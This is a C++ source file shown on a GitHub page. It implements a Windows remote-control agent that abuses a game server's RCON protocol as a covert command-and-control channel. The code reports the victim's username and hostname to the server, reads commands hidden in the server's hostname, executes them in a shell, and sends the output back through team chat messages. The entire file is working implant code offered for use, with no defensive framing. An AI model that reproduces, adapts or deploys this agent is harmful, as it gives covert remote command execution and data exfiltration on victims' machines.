-
Notifications
You must be signed in to change notification settings - Fork 3
/
main.cpp
212 lines (174 loc) · 5.83 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#include <iostream>
#include <winsock2.h>
#include <WS2tcpip.h>
#include <string>
#include <sstream>
#include <cstdio>
#include <memory>
#include <stdexcept>
#include <array>
#pragma comment(lib, "ws2_32.lib")
// Agent config
#define RCON_PASS "changeme"
#define SERVER_IP "127.0.0.1"
#define SERVER_PORT 27015
#define SLEEP_SECONDS 5
#define RCON_PACKET(challenge, command) "rcon " + challenge + " " + RCON_PASS + " " + command
#define RCON_CHALLENGE_OFFSET 14
#define RCON_CHALLENGE_LENGTH 9
#define MAX_BUFFER_SIZE 256
#define UDP_MAX_SIZE 4096
void
getUserInfo(
OUT char* hostname,
OUT char* username
)
{
DWORD username_len = MAX_BUFFER_SIZE;
gethostname(hostname, MAX_BUFFER_SIZE);
GetUserNameA(username, &username_len);
}
std::string
exec(
const std::string& cmd
)
{
std::array<char, MAX_BUFFER_SIZE> buffer;
std::string result;
std::unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(cmd.c_str(), "r"), _pclose);
if (!pipe)
{
throw std::runtime_error("popen() failed!");
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
{
result += buffer.data();
}
return result;
}
std::string
getRconChallenge(
const sockaddr_in& serverAddress
)
{
SOCKET s = socket(AF_INET, SOCK_DGRAM, 0);
const char* command = "getchallenge";
char rconCommand[MAX_BUFFER_SIZE];
sprintf_s(rconCommand, sizeof(rconCommand), "\xFF\xFF\xFF\xFF%s", command);
int result = sendto(s, rconCommand, (int)strlen(rconCommand), 0, (struct sockaddr*)&serverAddress, sizeof(struct sockaddr_in));
if (result == SOCKET_ERROR)
{
closesocket(s);
return "";
}
// Receive UDP response
char buffer[48] = {}; // sizeof challenge response
int bytesReceived = recv(s, buffer, sizeof(buffer), 0);
closesocket(s);
// extract challenge from e.g. A00000000 1574936798 3 90179819134315537 1
auto challengeResponse = std::string(buffer);
return challengeResponse.size() < 23 ? "" : challengeResponse.substr(RCON_CHALLENGE_OFFSET, RCON_CHALLENGE_LENGTH);
}
std::string
getHostnameFromCVARS(
const sockaddr_in& serverAddress,
const std::string& challenge
)
{
SOCKET s = socket(AF_INET, SOCK_DGRAM, 0);
std::string command = RCON_PACKET(challenge, "status");
char rconCommand[MAX_BUFFER_SIZE] = { 0 };
sprintf_s(rconCommand, sizeof(rconCommand), "\xFF\xFF\xFF\xFF%s", command.c_str());
// Send RCON command
sendto(s, rconCommand, (int)strlen(rconCommand), 0, (struct sockaddr*)&serverAddress, sizeof(struct sockaddr_in));
// Receive UDP response
char cl_buffer[UDP_MAX_SIZE] = { 0 };
int bytesReceived = recv(s, cl_buffer, sizeof(cl_buffer), 0);
std::istringstream iss(cl_buffer);
std::string line;
std::getline(iss, line); // first line has hostname
closesocket(s);
return line.substr(16, line.length() - 16); // 16 = prefix length
}
void
sendSayPacket(
const SOCKET& s,
const sockaddr_in& serverAddress,
const std::string& challenge,
const std::string& message
)
{
std::string command = RCON_PACKET(challenge, "say_team " + message);
std::cout << "[*] Sending RCON command - " << command << std::endl;
char rconCommand[UDP_MAX_SIZE] = { 0 };
sprintf_s(rconCommand, sizeof(rconCommand), "\xFF\xFF\xFF\xFF%s", command.c_str());
sendto(s, rconCommand, (int)strlen(rconCommand), 0, (struct sockaddr*)&serverAddress, sizeof(struct sockaddr_in));
}
int
main()
{
// Setup socket
const wchar_t* serverIP = TEXT(SERVER_IP);
const int serverPort = SERVER_PORT;
sockaddr_in serverAddress;
serverAddress.sin_family = AF_INET;
serverAddress.sin_port = htons(serverPort);
InetPtonW(AF_INET, serverIP, &serverAddress.sin_addr);
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
std::cout << "[!] WSAStartup failed" << std::endl;
return 1;
}
// Request challenge for RCON authentication
std::string challenge = getRconChallenge(serverAddress);
if (challenge.empty())
{
std::cerr << "[!] No RCON challenge received...\n";
std::cout << "[!] Exiting..." << std::endl;
WSACleanup();
return 1;
}
std::cout << "[*] Received RCON challenge: " << challenge << std::endl;
// Check in to server
char hostname[MAX_BUFFER_SIZE] = { 0 };
char username[MAX_BUFFER_SIZE] = { 0 };
getUserInfo(hostname, username);
std::string checkinMessage = "\"[*] New terrorist checked in: " + std::string(username) + "@" + std::string(hostname) + "\"";
SOCKET s = socket(AF_INET, SOCK_DGRAM, 0);
sendSayPacket(s, serverAddress, challenge, checkinMessage);
closesocket(s);
std::cout << "[*] Checked in to server @ " << SERVER_IP << ":" << SERVER_PORT << std::endl;
// Get current server hostname
std::string lastCommand = getHostnameFromCVARS(serverAddress, challenge);
std::string currentCommand = lastCommand;
// receive data to console
while (TRUE)
{
// Get command from hostname
currentCommand = getHostnameFromCVARS(serverAddress, challenge);
// If new command to execute
if (currentCommand != lastCommand)
{
// execute command
std::string result = exec(currentCommand);
// Send answer to chat, line by line
s = socket(AF_INET, SOCK_DGRAM, 0);
std::istringstream iss(result);
std::string line;
while (std::getline(iss, line))
{
if (!line.empty())
{
sendSayPacket(s, serverAddress, challenge, line);
Sleep(1000);
}
}
closesocket(s);
}
lastCommand = currentCommand;
Sleep(SLEEP_SECONDS * 1000);
}
WSACleanup();
return 0;
}